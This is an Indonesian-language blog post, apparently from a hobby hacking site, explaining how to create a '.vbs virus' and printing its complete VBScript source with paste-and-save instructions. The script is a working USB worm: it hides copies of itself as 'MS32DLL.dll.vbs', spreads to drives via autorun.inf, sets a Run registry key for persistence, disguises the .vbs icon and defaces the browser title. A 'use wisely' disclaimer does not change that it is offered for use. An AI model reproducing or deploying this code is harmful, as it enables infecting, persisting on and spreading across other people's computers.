Cara Membuat Virus .vbs

MRR Cyber Sekarang Mau Share Nih..

Cara Membuat Virus .vbs [ GUNAKAN DENGAN BIJAK !! ]

VIRUS DETECTED

Mungkin anda sudah mengenal apa itu virus VBS, Virus VBS adalah virus sederhana menggunakan bahasa Program (Visual Basic) yang bisa merusak dari tingkat kerusakan rendah sampai tinggi. Virus ini hanya bermodalkan pengetahuan akan bahasa Program dan aplikasi Notepad. Berikut adalah cara pembuatannya:

1. Buka Notepad

2.G usa banyak omong

2.Copy dan Paste skript Berikut:

------------------------------Skript------------------------------

on error resume next

dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd

atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"

set fs = createobject("Scripting.FileSystemObject")

set mf = fs.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size

check = mf.drive.drivetype

set text=mf.openastextstream(1,-2)

do while not text.atendofstream

mysource=mysource&text.readline

mysource=mysource & vbcrlf

loop

do

Set winpath = fs.getspecialfolder(0)

set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")

tf.attributes = 32

set tf=fs.createtextfile(winpath & "MS32DLL.dll.vbs",2,true)

tf.write mysource

tf.close

set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")

tf.attributes = 39

for each flashdrive in fs.drives

If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then

set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")

tf.attributes =32

set tf=fs.createtextfile(flashdrive.path &"MS32DLL.dll.vbs",2,true)

tf.write mysource

tf.close

set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")

tf.attributes =39

set tf =fs.getfile(flashdrive.path &"autorun.inf")

tf.attributes = 32

set tf=fs.createtextfile(flashdrive.path &"autorun.inf",2,true)

tf.write atr

tf.close

set tf =fs.getfile(flashdrive.path &"autorun.inf")

tf.attributes=39

end if

next

set rg = createobject("WScript.Shell")

rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMS32DLL",winpath&"MS32DLL.dll.vbs"

rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","Hacked by Zeke Hack"

rg.regwrite "HKCRvbsfileDefaultIcon","shell32.dll,2"

if check <> 1 then

Wscript.sleep 200000

end if

loop while check<>1

set sd = createobject("Wscript.shell")

sd.run winpath&"explorer.exe /e,/select, "&Wscript.ScriptFullname

---------------------------akhir skript---------------------------

3. Save as, ubah save as type menjadi "all files", simpan dengan format ".vbs", misal Hx.vbs.